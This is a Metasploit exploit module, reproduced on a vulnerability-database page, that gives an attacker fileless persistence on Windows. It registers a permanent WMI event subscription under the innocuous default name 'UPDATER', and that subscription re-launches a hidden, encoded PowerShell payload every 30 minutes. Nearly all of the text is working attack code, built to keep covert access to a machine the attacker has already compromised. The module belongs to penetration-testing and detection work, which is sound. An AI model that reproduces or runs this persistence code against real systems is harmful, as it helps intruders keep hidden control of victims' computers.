WMI Event Subscription Interval Persistence
🗓️ 06 Jun 2017 00:00:00Reported by Nick Tyrer <@NickTyrer>, h00dieType
metasploit🔗 www.rapid7.com👁 445 Views
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::Windows::Powershell
include Msf::Exploit::Powershell
include Post::Windows::Priv
include Msf::Post::File
include Msf::Exploit::Local::Persistence
include Msf::Exploit::Deprecated
moved_from 'exploits/windows/local/wmi_persistence' # previously the "INTERVAL" wmi_persistence method
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WMI Event Subscription Interval Persistence',
'Description' => %q{
This module will create a permanent WMI event subscription to achieve file-less persistence using an event filter
that triggers the payload after the specified CALLBACK_INTERVAL.
If the persistence is not installed, it will keep triggering payloads to spawn.
Additionally a custom command can be specified to run once the trigger is
activated using the advanced option CustomPsCommand. This module requires administrator level privileges as well as a
high integrity process. It is also recommended to use staged payloads due to powershell script length limitations.
},
'Author' => [
'Nick Tyrer <@NickTyrer>', # original module
'h00die' # docs, persistence mixin, pshell cleanup
],
'License' => MSF_LICENSE,
'Privileged' => true,
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' => [['Windows', {}]],
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
'DisclosureDate' => '2017-06-06',
'DefaultTarget' => 0,
'References' => [
['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'],
['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/'],
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
['ATT&CK', Mitre::Attack::Technique::T1546_003_WINDOWS_MANAGEMENT_INSTRUMENTATION_EVENT_SUBSCRIPTION]
],
'Notes' => {
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options([
OptInt.new('CALLBACK_INTERVAL',
[true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 30.minutes.to_i * 1000 ]), # 30 minutes
OptString.new('CLASSNAME',
[true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ])
])
register_advanced_options(
[
OptString.new('CustomPsCommand',
[false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be enclosed in quotes)', false, ]),
]
)
deregister_options('WritableDir')
end
def check
return CheckCode::Safe('This module requires powershell to run') unless have_powershell?
return CheckCode::Safe('This module requires admin privs to run') unless is_admin?
return CheckCode::Safe('This module cannot run as System') if is_system?
return CheckCode::Safe('This module requires UAC to be bypassed first') unless is_high_integrity?
CheckCode::Appears('Likely exploitable')
end
def format_duration(ms)
total_seconds = ms / 1000
hours = total_seconds / 3600
minutes = (total_seconds % 3600) / 60
seconds = total_seconds % 60
parts = []
parts << "#{hours}h" if hours > 0
parts << "#{minutes}m" if minutes > 0
parts << "#{seconds}s" if seconds > 0 || parts.empty?
parts.join(' ')
end
def install_persistence
print_status('Installing Persistence...')
psh_exec(subscription_interval)
print_good "Persistence installed! Callback should be in: #{format_duration(datastore['CALLBACK_INTERVAL'])}"
# wmic will be removed Windows 11, version 25H2 or Windows 11, version 24H2 in favor of powershell
# source https://support.microsoft.com/en-us/topic/windows-management-instrumentation-command-line-wmic-removal-from-windows-e9e83c7f-4992-477f-ba1d-96f694b8665d
# @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
# @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
# @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
name_class = datastore['CLASSNAME']
@clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName __EventFilter | Where-Object { $_.Name -eq '#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_ }\\\""\n)
@clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer | Where-Object { $_.Name -eq '#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_ }\\\""\n)
@clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_ }\\\""\n)
end
def build_payload
if datastore['CustomPsCommand']
script_in = datastore['CustomPsCommand']
compressed_script = compress_script(script_in)
encoded_script = encode_script(compressed_script)
generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script)
else
cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
end
end
def subscription_interval
command = build_payload
class_name = datastore['CLASSNAME']
callback_interval = datastore['CALLBACK_INTERVAL']
<<-HEREDOC
$timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"}
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
HEREDOC
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
06 Jun 2017 00:00Current
5.3Medium risk
Vulners AI Score5.3